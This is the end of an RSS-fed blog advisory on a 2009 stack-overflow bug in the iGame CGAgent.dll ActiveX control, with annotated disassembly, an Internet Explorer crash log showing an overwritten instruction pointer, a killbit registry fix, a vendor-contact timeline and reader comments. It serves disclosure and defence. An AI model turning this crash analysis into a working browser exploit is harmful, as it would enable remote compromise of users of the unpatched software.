<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>100012C9                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #0000ff;">10h</span>             <span style="color: #666666; font-style: italic;">; dwCreationFlags</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>100012CB                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #00007f;">esi</span>             <span style="color: #666666; font-style: italic;">; bInheritHandles</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>100012CC                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #00007f;">esi</span>             <span style="color: #666666; font-style: italic;">; lpThreadAttributes</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>100012CD                 <span style="color: #00007f; font-weight: bold;">lea</span>     <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">ebp</span><span style="color: #339933;">+</span>String1<span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>100012D3                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #00007f;">esi</span>             <span style="color: #666666; font-style: italic;">; lpProcessAttributes</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>100012D4                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #00007f;">eax</span>             <span style="color: #666666; font-style: italic;">; [igame.exe 参数]</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>100012D5                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #00007f;">esi</span>             <span style="color: #666666; font-style: italic;">; lpApplicationName</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>100012D6                 <span style="color: #00007f; font-weight: bold;">call</span>    <span style="color: #00007f;">ds</span><span style="color: #339933;">:</span>CreateProcessW <span style="color: #666666; font-style: italic;">; 创建进程</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>100012DC                 <span style="color: #00007f; font-weight: bold;">test</span>    <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span> <span style="color: #00007f;">eax</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>100012DE                 <span style="color: #00007f; font-weight: bold;">jz</span>      <span style="color: #000000; font-weight: bold;">short</span> loc_100012F0 <span style="color: #666666; font-style: italic;">; 成功了，继续xxoo</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">100012E0</span>                 <span style="color: #00007f; font-weight: bold;">xor</span>     <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span> <span style="color: #00007f;">eax</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">100012E2</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">100012E2</span> loc_100012E2<span style="color: #339933;">:</span>                           <span style="color: #666666; font-style: italic;">; CODE XREF: sub_10001218+26j</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">100012E2</span>                 <span style="color: #00007f; font-weight: bold;">mov</span>     <span style="color: #00007f;">ecx</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">ebp</span><span style="color: #339933;">+</span>var_4<span style="color: #009900; font-weight: bold;">&#93;</span> <span style="color: #666666; font-style: italic;">; (.text:100012A7)处那里导致把这里给覆盖了</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">100012E5</span>                 <span style="color: #00007f; font-weight: bold;">mov</span>     <span style="color: #00007f;">edx</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">ebp</span><span style="color: #339933;">+</span>var_8<span style="color: #009900; font-weight: bold;">&#93;</span> <span style="color: #666666; font-style: italic;">; 同上</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">100012E8</span>                 <span style="color: #00007f; font-weight: bold;">mov</span>     <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">ecx</span><span style="color: #339933;">+</span><span style="color: #0000ff;">4</span><span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #00007f;">edx</span>    <span style="color: #666666; font-style: italic;">; 互爆#_#</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>100012EB                 <span style="color: #00007f; font-weight: bold;">jmp</span>     loc_10001429
<span style="color: #339933;">...</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">10001429</span> loc_10001429<span style="color: #339933;">:</span>                           <span style="color: #666666; font-style: italic;">; CODE XREF: sub_10001218+D3j</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">10001429</span>                 <span style="color: #00007f; font-weight: bold;">pop</span>     <span style="color: #00007f;">edi</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1000142A                 <span style="color: #00007f; font-weight: bold;">pop</span>     <span style="color: #00007f;">esi</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1000142B                 <span style="color: #00007f; font-weight: bold;">pop</span>     <span style="color: #00007f;">ebx</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1000142C                 <span style="color: #00007f; font-weight: bold;">leave</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1000142D                 <span style="color: #00007f; font-weight: bold;">retn</span>    <span style="color: #0000ff;">8</span>               <span style="color: #666666; font-style: italic;">; 就这样返回，哦豁了</span></pre></td></tr></table></div>

<p>ModLoad: 01d10000 01d1d000   C:\Program Files\Chinagames\iGame\CGAgent.dll<br />
ModLoad: 5f800000 5f8f2000   C:\windows\system32\MFC42u.DLL<br />
ModLoad: 61be0000 61bed000   C:\windows\system32\MFC42LOC.DLL<br />
ModLoad: 75bc0000 75c3d000   C:\WINDOWS\system32\jscript.dll<br />
(39c.28c): Access violation &#8211; code c0000005 (first chance)<br />
First chance exceptions are reported before any exception handling.<br />
This exception may be expected and handled.<br />
eax=41baf50e ebx=01d153ec ecx=00410041 edx=00410041 esi=003bd4f0 edi=00000000<br />
eip=00410049 esp=01cff5ec ebp=00410041 iopl=0         nv up ei ng nz ac pe nc<br />
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010296<br />
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\internet explorer\iexplore.exe<br />
iexplore+0&#215;10049:<br />
00410049 004000          add     byte ptr [eax],al          ds:0023:41baf50e=??</p>
<p>解决办法:<br />
在厂商没有推出相应的补丁之前，<br />
建议用户通过注册表对相应的CLSID:75108B29-202F-493C-86C5-1C182A485C4C设置Killbit<br />
或者将以下文本保存为.REG文件并导入:<br />
Windows Registry Editor Version 5.00</p>
<p>[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{75108B29-202F-493C-86C5-1C182A485C4C}]<br />
“Compatibility Flags”=dword:00000400</p>
<p>厂商回应:<br />
2009.04.29 发邮件给<a href="mailto:gmservice@chinagames.net">gmservice@chinagames.net</a><br />
2009.04.30 木有收到回复。再发送了一封邮件<br />
2009.04.30 还是不甩??发布此公告</p>
<p>&#8211;EOF&#8211;</p>
<hr /><h2>Comments</h2><ul><li><a href="http://www.softrce.net/archives/83">2009年04月30日</a>, lk writes: 太有才了。。。</li><li><a href="http://www.softrce.net/archives/83">2009年04月30日</a>, ayarei writes: 楼主适当地方断页吧，太占首页的地方了:)</li><li><a href="http://www.softrce.net/archives/83">2009年04月30日</a>, lk writes: 我等着抓网马，我等着抓网马~~~</li><li><a href="http://www.softrce.net/archives/83">2009年04月30日</a>, ayarei writes: rp有问题啊你~~</li><li><a href="http://www.softrce.net/archives/83">2009年05月1日</a>, lk writes: 牛MM咋又跑来上网了。。。</li></ul><hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> 8e761b2ea8edc3ca311452b020051837)</small><h3  class="related_post_title">相关阅读</h3><ul class="related_post"><li>2009年05月1日 -- <a href="http://www.softrce.net/archives/100" title="暴风影音2009(Config.dll)ActiveX远程栈溢出漏洞">暴风影音2009(Config.dll)ActiveX远程栈溢出漏洞</a></li><li>2009年05月1日 -- <a href="http://www.softrce.net/archives/96" title="暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞">暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞</a></li><li>2010年04月21日 -- <a href="http://www.softrce.net/archives/302" title="WinMount mou文件格式溢出漏洞分析">WinMount mou文件格式溢出漏洞分析</a></li><li>2009年05月15日 -- <a href="http://www.softrce.net/archives/136" title="ActiveX 控件组件的Fuzz和利用">ActiveX 控件组件的Fuzz和利用</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.softrce.net/archives/83/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
	</channel>
</rss>

